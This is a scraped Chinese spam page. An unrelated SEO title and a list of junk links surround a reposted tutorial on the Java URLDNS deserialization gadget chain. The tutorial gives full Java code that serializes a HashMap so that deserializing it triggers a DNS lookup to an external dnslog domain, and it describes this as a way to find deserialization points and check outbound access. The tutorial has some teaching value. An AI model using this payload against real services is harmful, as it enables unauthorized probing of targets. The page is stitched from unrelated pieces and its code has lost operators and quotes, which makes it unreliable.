当前位置: 首页 > news >正文

公司做网站还是做app用土豆做美食的视频网站

公司做网站还是做app,用土豆做美食的视频网站,百度一下百度网页官,wordpress手机版下载Java安全 反序列化(1) URLDNS链原理分析 文章目录 Java安全 反序列化(1) URLDNS链原理分析前置知识应用分析payload1.新建HashMap类2.新建URL类3.获取URL 的 Class对象4.通过反射访问URL内部变量5.通过反射为URL中类赋值6.调用HashMap#put方法传入key和value7.再次通过反射为UR…Java安全 反序列化(1) URLDNS链原理分析 文章目录 Java安全 反序列化(1) URLDNS链原理分析前置知识应用分析payload1.新建HashMap类2.新建URL类3.获取URL 的 Class对象4.通过反射访问URL内部变量5.通过反射为URL中类赋值6.调用HashMap#put方法传入key和value7.再次通过反射为URL类的hashcode赋值 原理分析1.进行序列化2.跟进HashMap的readobject方法3.跟进hash方法4.可以跟进URL的hashCode方法5.跟进handler.hashCode方法 细节问题为什吗要给URL类hashCode赋值两次 开始学习Java反序列化链–URLDNS 前置知识 请提前了解Java序列化和反序列化熟悉Java反射机制 应用 1.判断是否存在反序列化的点 2.判断目标是否出网 先上payload 后进行分析 import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class DnsTest {public static void main(String[] args) throws Exception {HashMap hashmap new HashMap();URL url new URL(http://wxzzwpgygc.dgrh3.cn);Class c url.getClass();Field fieldhashcodec.getDeclaredField(hashCode);fieldhashcode.setAccessible(true);fieldhashcode.set(url,222); //第一次查询的时候会进行缓存所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询serialize(hashmap);unserialize();}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos new ObjectOutputStream(newFileOutputStream(ser.bin));oos.writeObject(obj);oos.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois new ObjectInputStream(newFileInputStream(ser.bin));ois.readObject();ois.close();} }可以触发dns请求 分析payload 1.新建HashMap类 HashMap hashmap new HashMap();什么是HashMap: 基于哈希表的实现的Map接口 我们简单理解为 URLDNS链的入口类知道这个东西就行了 2.新建URL类 URL url new URL(http://wxzzwpgygc.dgrh3.cn);3.获取URL 的 Class对象 Class c url.getClass();用于操作反射 4.通过反射访问URL内部变量 Field fieldhashcodec.getDeclaredField(hashCode);fieldhashcode.setAccessible(true);5.通过反射为URL中类赋值 fieldhashcode.set(url,222); //第一次查询的时候会进行缓存所以让它不等于-16.调用HashMap#put方法传入key和value hashmap.put(url,2);hashmap.put(key,value) key 为前面新建的url类 value 为任意值 7.再次通过反射为URL类的hashcode赋值 fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询赋值URL类中的hashcode为-1 触发dns请求完成访问 原理分析 1.进行序列化 public static void serialize(Object obj) throws IOException {ObjectOutputStream oos new ObjectOutputStream(newFileOutputStream(ser.bin));oos.writeObject(obj);oos.close();}serialize(hashmap); //传入的obj为hashmap那么反序列化会自动触发HashMap的readobject方法 我们可以调试分析一下 Ctrl-B跟进实现原理 2.跟进HashMap的readobject方法 在方法的最后调用了hash方法 3.跟进hash方法 进行判断只要key不为空 就 调用 key的hashCode()方法 我们传入的key是URL类的对象 所以调用的是URL#hashCode方法 4.可以跟进URL的hashCode方法 只有hashCode为-1 时 会进入hashCode handler.hashCode(this); this为当前对象的引用 5.跟进handler.hashCode方法 我们在新建URL类时 传入了我们的dnslog地址 getHostAddress进行DNS解析完成请求 细节问题 为什吗要给URL类hashCode赋值两次 fieldhashcode.set(url,222); //第一次查询的时候会进行缓存所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询第一次查询的时候会进行缓存触发dns请求将URL.hashCode设置为-1,put时触发dns请求我们可以做个实验 import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class DnsTest {public static void main(String[] args) throws Exception {HashMap hashmap new HashMap();URL url new URL(http://rcjynkewns.dgrh3.cn); // Class c url.getClass(); // Field fieldhashcodec.getDeclaredField(hashCode); // fieldhashcode.setAccessible(true); // fieldhashcode.set(url,222); //第一次查询的时候会进行缓存所以让它不等于-1hashmap.put(url,2); // fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询 // serialize(hashmap); // unserialize();} // public static void serialize(Object obj) throws IOException { // ObjectOutputStream oos new ObjectOutputStream(new // FileOutputStream(ser.bin)); // oos.writeObject(obj); // oos.close(); // } // public static void unserialize() throws IOException, ClassNotFoundException // { // ObjectInputStream ois new ObjectInputStream(new // FileInputStream(ser.bin)); // ois.readObject(); // ois.close(); // } //} 只留下了hashmap的put方法 可以发现照样触发 为了避免误判 我们先将URL.hashCode属性赋值为 只要不是-1的值 hashmap.put()方法后 再通过反射修改URL.hashCode属性为-1 完成请求
http://www.zqtcl.cn/news/879557/

相关文章:

  • 做网站除了广告还有什么收入的中国计算机技术职业资格网
  • 陕西建设银行网站查排名的软件有哪些
  • 企业网站备案教程北京专业做网站的
  • 音乐网站如何建设的如何做学校网站
  • 济南比较好的网站开发公司个人注册网站怎么注册
  • 济南高端网站设计策划图书馆网站建设情况汇报
  • 知识付费网站建设做网站源码
  • php网站开发实训报告书怎么做兼职类网站吗
  • 建设银行u盾用网站打不开中企动力值不值得入职
  • 织梦做的网站有点慢商贸网站
  • 海外红酒网站建设wordpress 分类 文章
  • 七星彩网站建设wordpress w3
  • 广州网站建设全包百度怎么优化关键词排名
  • 中山网站制作服务公司做环评的网站
  • 江山市住房和城乡建设局网站iis部署网站 错误400
  • 网站域名如何备案建设厅公积金中心网站
  • 网站怎么建设?电子商务网站开发相关技术
  • 苏州网站设计公司济南兴田德润厉害吗python基础教程第3版
  • 网站多久备案一次电子商务平台信息系统建设
  • 网站开发方面的文献自己怎么建个免费网站吗
  • 建设网站前的市场分析百度竞价推广是什么
  • 专门做照片书的网站阳谷聊城网站优化
  • 国际贸易相关网站网站建设的目标与思路
  • 小型网站建设费用云南网站建设企业推荐
  • 设备租赁业务网站如何做看板娘 wordpress
  • 上海网站设计工作室二手交易网站建设目标
  • 深圳智能响应网站建设平面设计基础教程
  • 网站建设 推广全流程案例分析网站
  • 企业建网站多少钱怎样做网站挣钱
  • 经营性质的网站asp.ne做网站